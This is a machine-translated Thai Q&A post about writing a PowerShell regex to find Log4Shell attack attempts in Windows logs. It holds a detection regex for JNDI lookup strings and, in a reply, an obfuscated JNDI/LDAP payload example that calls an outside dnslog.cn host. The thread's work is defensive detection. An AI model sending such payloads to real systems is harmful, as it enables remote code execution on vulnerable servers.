Score:0

การใช้ Powershell เพื่อตรวจสอบบันทึกของระบบสำหรับ Log4Shell

ธง gt

ขณะนี้ฉันกำลังพยายามตรวจสอบบันทึกในเครื่องที่ใช้ windows ต่างๆ เพื่อตรวจสอบว่ามีการโจมตี Log4Shell เกิดขึ้นกับระบบของเราหรือไม่ รากฐานเสร็จสิ้นและสามารถตรวจสอบรูปแบบ regex ได้ง่าย หากตอนนี้ฉันใช้รูปแบบ regex ที่รู้จักสำหรับการโจมตี Log4Shell Powershell จะแสดงข้อผิดพลาดในการสร้างการจัดกลุ่มที่ไม่รู้จัก

regex ควรมีลักษณะดังนี้:

\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`) *}*){9,11}

นี่คือสตริงที่ฉันใช้สำหรับ Regex ใน Powershell พร้อมอักขระหลีกที่จำเป็น:

$RX = "\$`{(\$`{(.*?:|.*?:.*?:-)('|`"|``)*(?1)}*|[jndi:lapsrm ]('|`"|``)*}*){9,11}"

มีข้อผิดพลาดที่ฉันทำกับการจัดรูปแบบหรือไม่? หรือมีข้อผิดพลาดแปลก ๆ ในการจดจำ Powershell Regex หรือไม่

mfinni avatar
cn flag
ฉันไม่สามารถแสดงความคิดเห็นเกี่ยวกับไวยากรณ์ regex ของคุณได้ แต่นั่นยังไม่เพียงพอ มีตัวอย่างมากมายบนเว็บที่ใช้อักขระ Escape ต่างๆ เพื่อทำให้การโทร JNDI สับสน ${j${KPW:MnVQG:hARxLh:-n}d${cMrwww:aMHlp:LlsJc:Hvltz:OWeka:-i}:${jgF:IvdW:hBxXUS:-l}d${IGtAj:KgGmt:mfEa :-a}p://1639227068302CJEDj.kfvg5l.dnslog.cn/249540} https://databricks.com/blog/2021/12/13/log4j2-vulnerability-cve-2021-44228-research-and-assessment.html

โพสต์คำตอบ

คนส่วนใหญ่ไม่เข้าใจว่าการถามคำถามมากมายจะปลดล็อกการเรียนรู้และปรับปรุงความสัมพันธ์ระหว่างบุคคล ตัวอย่างเช่น ในการศึกษาของ Alison แม้ว่าผู้คนจะจำได้อย่างแม่นยำว่ามีคำถามกี่ข้อที่ถูกถามในการสนทนา แต่พวกเขาไม่เข้าใจความเชื่อมโยงระหว่างคำถามและความชอบ จากการศึกษาทั้ง 4 เรื่องที่ผู้เข้าร่วมมีส่วนร่วมในการสนทนาด้วยตนเองหรืออ่านบันทึกการสนทนาของผู้อื่น ผู้คนมักไม่ตระหนักว่าการถามคำถามจะมีอิทธิพลหรือมีอิทธิพลต่อระดับมิตรภาพระหว่างผู้สนทนา